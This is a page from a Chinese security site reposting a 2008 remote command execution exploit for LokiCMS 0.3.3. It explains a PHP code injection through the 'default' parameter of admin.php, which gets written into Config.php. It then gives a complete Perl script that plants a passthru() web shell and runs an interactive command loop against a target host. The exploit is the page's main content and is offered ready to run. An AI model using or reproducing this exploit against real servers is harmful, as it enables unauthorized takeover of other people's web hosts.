首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
LokiCMS <= 0.3.3 Remote Command Execution Exploit
来源:girex.altervista.org 作者:GiReX 发布时间:2008-04-09  
# Author: __GiReX__
# mySite: girex.altervista.org
# Date: 8/04/08

# CMS: LokiCMS <= 0.3.3
# Site: lokicms.com

# Bug: PHP Code Injection
# Exploit: Remote Command Execution

# Vuln Code: admin.php

# if ($_GET['default'] != '') { // User want's to set the default page
# writeconfig($c_password, $c_title, $c_header, $c_tagline, $c_footnote, stripslashes($_GET['default']), # $c_theme, $c_language, $c_modrewrite, $c_simplelink, $c_code);

# Our bugged var $_GET['default'] is stripslashed so we don't need magic_quotes_gpc Off
# writeconfig() simply put text into Config.php

# This is a very bugged CMS, only most dengerous bug is here reported



#!/usr/bin/perl -w
# LokiCMS <= 0.3.3 Remote Command Execution Exploit
# Works with magic_quotes_gpc = On
# Coded by __GiReX__

use LWP::Simple;

if(not defined $ARGV[0])
{
     banner();
     print "[-] Usage: perl $0 [host] [path]\n";
     print "[-] Example: perl $0 localhost /lokicms/\n\n";
     exit;
}

my $host  =  $ARGV[0] =~ /^http:\/\// ?  $ARGV[0]:  'http://' . $ARGV[0];
   $host .=  $ARGV[1] unless not defined $ARGV[1];

banner();
get($host.'admin.php?default=\';passthru($_GET[\'cmd\']);//') or die '[-] Error requesting page: admin.php';

while(1)
{
     print "[+] Shell:~\$ ";
     chomp($cmd = <STDIN>);
     last if $cmd eq 'exit';
     last if is_error(getprint($host."includes/Config.php?cmd=${cmd}"));
     print $resp;
}

sub banner
{
     print "[+] LokiCMS <= 0.3.3 Remote Command Execution Exploit\n";
     print "[+] Coded by __GiReX__\n";
     print "\n";
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·FLABER <= 1.1 RC1 Remote Comma
·Biz E-Banking Integrator V2 Ac
·phpTournois <= G4 Remote File
·phpBB Add-on Fishing Cat Porta
·Tumbleweed SecureTransport Fil
·KnowledgeQuest 2.5 Arbitrary A
·Data Dynamics ActiveBar (Actba
·LiveCart <= 1.1.1 (category id
·LinPHA <= 1.3.2 (maps plugin)
·LightNEasy 1.2 (no database) R
·Drake CMS <= 0.4.11 Remote Bli
·Borland InterBase 2007 ibserve
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved